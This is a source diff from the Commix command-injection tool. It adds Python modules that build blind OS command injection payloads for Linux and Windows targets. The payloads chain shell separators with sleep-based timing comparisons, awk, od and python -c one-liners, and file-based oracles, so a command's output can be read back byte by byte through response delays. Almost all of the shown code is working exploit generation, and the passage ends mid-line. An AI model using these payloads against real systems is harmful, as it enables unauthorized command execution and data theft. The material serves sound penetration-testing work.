settings.CUSTOM_INJECTION_MARKER: + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +The same comparison the time-based technique asks for, which this one asks in the same words. + +Both techniques prove a condition by whether the target waits, so the payload that states it is the +same payload - it was written out twice, and the two copies had to be kept in step by hand. +""" +def condition_check(separator, condition, timesec, http_request_method): + return tb_payloads.condition_check(separator, condition, timesec, http_request_method) + +# The Windows counterpart, likewise shared rather than restated. +def windows_condition_check(separator, expr, expected, timesec): + # Named for what each one is, which is what the one it hands them to calls them: taken as a + # condition, a delay and a request method, the three lined up only because they were passed on + # in the order they arrived, and naming one of them in a call would have put it somewhere else. + return tb_payloads.windows_condition_check(separator, expr, expected, timesec) + +# Read one character of the file back, by asking whether its ordinal is at or below a value. +def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + payload = "" + win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + # Read by every branch that scales a delay by the comparison, not only the first one to need it. + arith_operator = "<=" if operator == "-le" else "==" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + # Split on '[char]32', so no quote of its own has to survive cmd.exe's own quote handling. + payload = checks.windows_probe(chain, + "powershell.exe -InputFormat none write-host " + windows_file_text(OUTPUT_TEXTFILE) + + ".split([char]32)[" + str(num_of_chars - 1) + "]", + win_operator, ascii_char, timesec) + else: + if separator in (";", "\n", "\r\n") : + payload = (separator + + # Use space as delimiter + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + settings.RANDOM_VAR_GENERATOR + ")))" + ) + elif separator in ("&", "&&", settings.PIPE_SEPARATOR) and checks.substitution_nests(): + payload = separator + tb_payloads._timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX, arith_operator) + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + "sleep 0" + separator + + # Use space as delimiter + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + "sleep " + str(timesec) + ) + + elif separator == "&": + payload = (separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " $(awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + ") ]" + "&&" + + "sleep " + str(timesec) + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + payload = "" + win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + arith_operator = "<=" if operator == "-le" else "==" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" + payload = checks.windows_probe(chain, python_payload, win_operator, ascii_char, timesec) + + else: + if separator in (";", "\n", "\r\n") : + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\"" + settings.CMD_SUB_SUFFIX, arith_operator) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +__Warning__: The alternative shells are still experimental. +""" +def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" + payload = checks.windows_probe(chain, python_payload, "EQU", ascii_char, timesec) + else: + if separator in (";", "\n", "\r\n") : + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +Everything below reads the same created file back through a calibrated oracle instead of a delay - +the file this technique already writes to and reads from, asked about the way the boolean-based +technique asks about a command's output, since a page that already tells true from false can tell +this apart for free where a delay would otherwise be paid for it. On Windows the same question is +asked the way the boolean-based technique asks a Windows target one: cmd.exe hands no exit status +back either way, so 'bb_payloads' is reused directly, pointed at 'type FILE' in place of the +command it would otherwise re-run. +""" + +""" +Whether this separator can carry a bare test the way the boolean-based technique asks one - the +same restriction that technique places on itself, for the same reason. +""" +def oracle_supported(separator): + return bb_payloads._supported(separator) and separator != "|" + +""" +Write a command's output into the created file once, read back the same way the delay-based +reading reads it - nothing here asks a question, so nothing here waits. +""" +def oracle_write(separator, cmd, OUTPUT_TEXTFILE): + if not oracle_supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + return (chain + + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + windows_cmd_text(cmd) + + checks.windows_tail(chain) + ) + var = settings.RANDOM_VAR_GENERATOR + payload = (separator + + var + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + " " + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + separator + + checks.print_value("\"" + output_text() + "\"") + " >" + OUTPUT_TEXTFILE + ) + return checks.terminate_payload(payload, separator) + +""" +A question with a known answer, for telling whether this target's own oracle can tell a length +that matches from one that does not - calibration for the created file, in the same shape the +boolean-based technique calibrates itself with. +""" +def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): + if not oracle_supported(separator): + return "" + expected = output_length if holds else output_length + 1 + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + # The write chained at the top level, the same as the delay-based 'decision()' above writes it - + # nested inside the probe's own quoting instead, the '&' joining it to the read would be read as + # literal text rather than as cmd.exe's own separator. + write = chain + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + return write + bb_payloads.get_length(checks.WINDOWS_CHAIN, "type " + OUTPUT_TEXTFILE, expected, "-eq") + var = settings.RANDOM_VAR_GENERATOR + payload = (separator + + var + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + var + "1=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + bb_payloads._decide(separator, str(expected) + " -eq ${#" + var + "1}") + ) + return checks.terminate_payload(payload, separator) + +""" +How many bytes the created file holds, asked as a comparison so that it can be bisected - the file's +length rather than the command's, read without running the command again. +""" +def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): + if not oracle_supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + return bb_payloads.get_length(separator, "type " + OUTPUT_TEXTFILE, candidate_length, operator) + var = settings.RANDOM_VAR_GENERATOR + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + payload = (separator + settings.BYTE_LOCALE_EXPORTED + separator + + var + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + bb_payloads._decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) + ) + return checks.terminate_payload(payload, separator) + +""" +Whether the ordinal of the created file's Nth byte is at or above this one, which is what bisects it +- indexed straight off the file with 'cut', since a byte on disk needs none of the parameter- +expansion slicing a live command substitution would. On Windows the same file is re-read and sliced +in PowerShell instead, the way 'bb_payloads' already slices a re-run command's own output. +""" +def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator="-le"): + if not oracle_supported(separator): + return "" + if settings.TARGET_OS == settings.OS.WINDOWS: + return bb_payloads.get_char(separator, "type " + OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator) + # Indexed into the whole of what the file holds rather than a byte per line of it. 'cut -b' + # answers once for every line, so on an output of more than one it answered with another line's + # byte, and with nothing at all for the lines shorter than the position asked for - which is why + # the file used to be joined into a single line before any of this was read. Taken by awk as an + # argument instead, the way the delay-based technique already takes its own bytes, a newline is + # a position like any other. + ordinal = checks.byte_ordinal(tb_payloads._ordinal_arg_byte( + settings.CMD_SUB_PREFIX + file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX, + num_of_chars)) + payload = separator + bb_payloads._decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + ordinal) + return checks.terminate_payload(payload, separator) + +# eof diff --git a/src/core/techniques/time_based/__init__.py b/src/core/techniques/time_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/time_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/time_based/tb_handler.py b/src/core/techniques/time_based/tb_handler.py new file mode 100755 index 0000000000..8aa0805f87 --- /dev/null +++ b/src/core/techniques/time_based/tb_handler.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import common +from src.utils import settings +from src.core.controller import checks +from src.core.controller import handler + +""" +The "time-based" injection technique on Blind OS Command Injection. +""" + +""" +The "time-based" injection technique handler. +""" +def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): + # Check if attack is based on time delays. + if not settings.TIME_RELATED_ATTACK: + settings.TIME_RELATED_ATTACK = True + + tmp_path = "" + # Asked about how steadily the target answers, not about how long it takes: a slow target that + # answers at the same speed every time is read as easily as a fast one, and the question was + # being put - and the technique offered up - over nothing but its latency. + if checks.response_times_unsteady(): + settings.RESPONSE_DELAYS = True + # Lowering the delay again is read off the same times that are moving about, so it is + # left where it is while they are. + settings.ADJUST_TIME_DELAY_DISABLED = True + while True: + message = "Considerable lagging has been detected in the target's responses, which makes " + message += "time-related techniques unreliable - a higher '--time-sec' (10 or more) stands " + message += "clear of it. How do you want to proceed? [(C)ontinue/(s)kip] " + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + result = tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + if result is False: + return False + # Return when a technique was resumed or found; only False should continue prompting. + return result + elif proceed_option.lower() == "s": + from src.core.techniques.file_based import fb_handler + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + return False + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass + else: + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) is False: + settings.TIME_RELATED_ATTACK = False + return False +# eof diff --git a/src/core/techniques/time_based/tb_injector.py b/src/core/techniques/time_based/tb_injector.py new file mode 100755 index 0000000000..0a3839900c --- /dev/null +++ b/src/core/techniques/time_based/tb_injector.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import injector + +""" + The "time-based" injection technique on Blind OS Command Injection. +""" + +""" +The main command injection exploitation. +""" +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique): + OUTPUT_TEXTFILE = "" + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + +""" +False Positive check and evaluation. +""" +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): + # Named the way the caller calls it and the way the tempfile-based one beside it is named: taking + # the boundary in another order and without the output file, every call raised before it arrived, + # and the technique's own confirmation was thrown away with the exception. + # + # The technique has no output file of its own, so the empty one it is handed is what goes on. + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, "", randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) + +# eof diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py new file mode 100755 index 0000000000..9c4ef92325 --- /dev/null +++ b/src/core/techniques/time_based/tb_payloads.py @@ -0,0 +1,710 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +The "time-based" injection technique on Blind OS Command Injection. +The available "time-based" payloads. +""" + +""" +The command's output as a shell word, through whichever substitution syntax is in play. Wrapped in +nothing else: a second substitution around it nests, which backticks cannot do without escaping, +and an 'echo' in between reads the backslashes of the output on every shell whose builtin does. +""" +def _output_word(cmd): + return settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + +""" +How many bytes that output is. Counted the same way on every separator, and read back below the same +way: '${#var}' counts characters where this counts bytes, and a length that disagreed with the +indexing would have the retrieval ask for characters that are not where it was told they are. +""" +def _length_expr(word): + return settings.CMD_SUB_PREFIX + checks.print_value("\"" + word + "\"") + " | wc -c" + settings.CMD_SUB_SUFFIX + +""" +The same count, handed to 'awk' as an argument instead of carried in a variable. A separator that +backgrounds what it chains - '&' - cannot pass '${#var}' on to the command after it, and the two +ways around that both reach for an operator the payload is not proving: '&&' to hold the variable, +or a pipe into 'wc'. Asked this way the whole measurement is one command, so nothing is chained at +all. Counted in characters, as '${#var}' counts, so the branches that use either agree. + +Nesting one substitution inside another is what this costs, which backticks cannot express without +escaping - so the caller keeps to its own shape where those are in play. +""" +def _length_arg_expr(word): + """ + >>> "|" in _length_arg_expr("WORD") + False + >>> _length_arg_expr("WORD").startswith(settings.CMD_SUB_PREFIX + "LC_ALL=C awk ") + True + >>> "WORD" in _length_arg_expr("WORD") + True + """ + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print(length(ARGV[1]))}' \"" + word + "\"" + + settings.CMD_SUB_SUFFIX) + +""" +The ordinal of the output's Nth byte, newlines counted among them. 'cut -c' would answer per line +instead, which is a different byte on any output that has more than one - and none at all for the +lines that are shorter than N. + +The byte is counted rather than read as a character: counted, a newline is a number like any other, +where read it would be dropped along with the newlines a substitution ends with and the position it +sits at could never be resolved. The count is unsigned, so the whole byte survives it, and it is one +command on the end of the pipe the payload is already proving - no second statement to part. +""" +def _ordinal_expr(word, num_of_chars): + # '+' rather than a bare '+', which arrives as a space - and 'tail -c N' counts from the end. + # Held in '$( )' whichever substitution is in use, as the count beside it is: the word inside is + # itself a substitution, and a backtick cannot hold another without escaping it. Printed through + # the same command everything else in the payload is printed through: spelled out here instead, + # it went on saying 'printf' while a run that had settled on 'echo' said that everywhere else, + # and a payload carrying both names answers for both to whichever filter refuses either. + return ("$(" + checks.print_value("\"" + word + "\"") + settings.PIPE_SEPARATOR + + "tail -c +" + str(num_of_chars) + settings.PIPE_SEPARATOR + "head -c 1" + + settings.PIPE_SEPARATOR + "od -A n -t u1)") + +""" +The interpreter reads the output as an argument of its own rather than off a pipe. It is still data +either way - never text spliced into the program's own source, so a quote in it closes nothing - +and a pipe would be an operator the payload is not proving. The program's own statements are parted +by a carriage return, which the interpreter reads as a line break and a filter does not read at all. + +'os.fsencode' puts the bytes back exactly as they arrived, surrogates and all, so this counts the +same bytes the pipe did - and the same ones the ordinal below indexes. +""" +def _py_source(statements): + return "\"" + settings.END_LINE.CR.join(statements) + "\"" + +def _py_call(cmd, statements): + return (settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c " + + _py_source(statements) + " \"" + _output_word(cmd) + "\"" + settings.CMD_SUB_SUFFIX) + +""" +The command's output, measured by the alternative interpreter. +""" +def _py_length_expr(cmd): + return _py_call(cmd, ("import os,sys", "print(len(os.fsencode(sys.argv[1])))")) + +""" +The command's output, saved to a file by the alternative interpreter - the tempfile-based +technique's own write step. +""" +def _py_write_expr(cmd, output_file): + return _py_call(cmd, ("import os,sys", + "open('" + output_file + "','wb').write(os.fsencode(sys.argv[1]))")) + +""" +The ordinal of that output's Nth byte. Indexing bytes answers with the number itself, so nothing +has to be converted afterwards. +""" +def _py_ordinal_expr(cmd, num_of_chars): + return _py_call(cmd, ("import os,sys", + "print(os.fsencode(sys.argv[1])[" + str(num_of_chars - 1) + "])")) + +""" +The ordinal of that output's Nth byte, taken by awk as an argument rather than off two pipes. Read +the same way as the count beside it, so the position asked for is the position indexed. + +A letter is concatenated onto the byte, and only the first of the two is read: a substitution drops +the newlines it ends with, so a byte that is itself a newline would otherwise come back as nothing. +The parentheses stand in for the space awk's own concatenation would need, which the whitespace +substitution would eat inside the quoted program. +""" +def _ordinal_arg_byte(word, num_of_chars): + """ + The byte itself, for a reading that opens the arithmetic around it rather than joining one + already open - the tempfile-based technique asks for its own bytes this way. + + >>> "|" in _ordinal_arg_byte("WORD", 3) + False + >>> "substr(ARGV[1],3,1)" in _ordinal_arg_byte("WORD", 3) + True + """ + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk 'BEGIN{print((substr(ARGV[1]," + str(num_of_chars) + + ",1))(\"X\"))}' \"" + word + "\"" + settings.CMD_SUB_SUFFIX) + +def _ordinal_arg_expr(word, num_of_chars): + """ + >>> "|" in _ordinal_arg_expr("WORD", 3) + False + >>> "substr(ARGV[1],3,1)" in _ordinal_arg_expr("WORD", 3) + True + """ + return checks.byte_ordinal_term(_ordinal_arg_byte(word, num_of_chars)) + +""" +The same condition written as arithmetic, or nothing where it is not one 'test' comparison of +numbers - which is all a payload builds, and all that can be scaled into a delay without a branch. +""" +_TEST_TO_ARITHMETIC = ((" -eq ", "=="), (" -ne ", "!="), (" -le ", "<="), + (" -lt ", "<"), (" -ge ", ">="), (" -gt ", ">")) + +def _arithmetic_condition(condition): + """ + >>> _arithmetic_condition("1 -eq 1") + '1==1' + >>> _arithmetic_condition("4 -le 5") + '4<=5' + >>> [_arithmetic_condition(_) for _ in ("-f /etc/passwd", "-n $VAR", "1 -eq $VAR")] + [None, None, None] + """ + expression = condition + for test_form, arithmetic in _TEST_TO_ARITHMETIC: + expression = expression.replace(test_form, arithmetic) + return expression if re.match(r"\A[\d\s<>=!]+\Z", expression) else None + +""" +The whole measurement as one command: the delay is scaled by the comparison itself, so there is +nothing to chain and no operator beyond the separator under test ever reaches the payload. This is +what the ';' and newline branches already say with a variable between two commands - written here +without one, for the separators that cannot carry a variable from one command to the next. +""" +def _timed_comparison(timesec, expected, length_expr, comparison="=="): + return ("sleep $((" + str(timesec) + "*(" + str(expected) + comparison + length_expr + ")))") + +# The same, delayed by the alternative interpreter rather than by 'sleep'. +def _py_timed_comparison(timesec, expected, length_expr, comparison="=="): + delay = "time.sleep($((" + str(timesec) + "*(" + str(expected) + comparison + length_expr + "))))" + return (settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c " + + _py_source(("import time", delay)) + settings.CMD_SUB_SUFFIX) + +""" +Time-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, output_length, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + # Comparing the marker straight back proves the command ran just as well as measuring its + # length did, and spares the payload a PowerShell launch whose own start-up time is noise a + # timing measurement cannot afford. + payload = checks.windows_probe(chain, "echo " + TAG, "==", TAG, timesec) + elif settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&", "|"): + """ + Nothing computed at all: the delay itself is the only thing being measured, so nothing here + needs '$(...)' or a backtick to survive a filter that blocks both outright. This gives up the + length check the payload otherwise builds in - "did it wait this long" is cruder than "did it + wait exactly as long as this output's length says it should" - but it is the only oracle left + once neither substitution syntax gets through, and each of these separators runs what follows + it regardless of what came before - a pipe runs both of its sides - so the delay is + unconditional here either way. + """ + payload = separator + "sleep " + str(timesec) + else: + if separator in (";", "\n", "\r\n"): + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + separator + + # Find the length of the output. + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + """ + Measured and delayed on in the one command, so neither of these has to chain anything: a bare + '&' cannot hand a variable to the command after it, and chaining '&&' to carry one would prove + that separator rather than this one. + + The length asked about is what the two sides are compared on. A marker compared against itself + answered the same way whatever length it was asked about, so the control question - the same + one asked about a length the output cannot have - waited just as long as the real one, and a + target running the payload was read as a slow target rather than an injectable one. + """ + payload = (separator + + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==" + + _output_word(checks.print_marker(str(len(TAG)))) + ")))" + ) + elif separator == "&": + # Backticks cannot nest, so the measurement is carried in a variable here - which '&' cannot + # hand on to the command after it, leaving the '&&' below to hold it. + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + "&&" + + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + + "sleep " + str(timesec) + ) + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + "sleep 0 " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + separator + + # Find the length of the output. + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + "sleep " + str(timesec) + ) + + + elif separator in ("|", "||"): + # The marker is written out literally here, so the one substitution this counts it in holds + # nothing but a pipe - and a substitution that cannot hold another one holds that perfectly + # well. Where the count is taken of a command's own output instead, it does nest, and the + # branches that ask for it that way are written only where the substitution in use allows it. + pipe = "|" + payload = (pipe + + "[ " + str(output_length) + " -ne " + _length_expr(TAG) + " ]" + "||" + + "sleep " + str(timesec) + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + payload = checks.windows_probe(chain, python_payload, "==", output_length, timesec) + + else: + if separator in (";", "\n", "\r\n"): + payload = (separator + + # Find the length of the output, using readline(). + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _py_timed_comparison(timesec, output_length, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len('" + TAG + "'))\"" + settings.CMD_SUB_SUFFIX) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + # Find the length of the output, using readline(). + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " 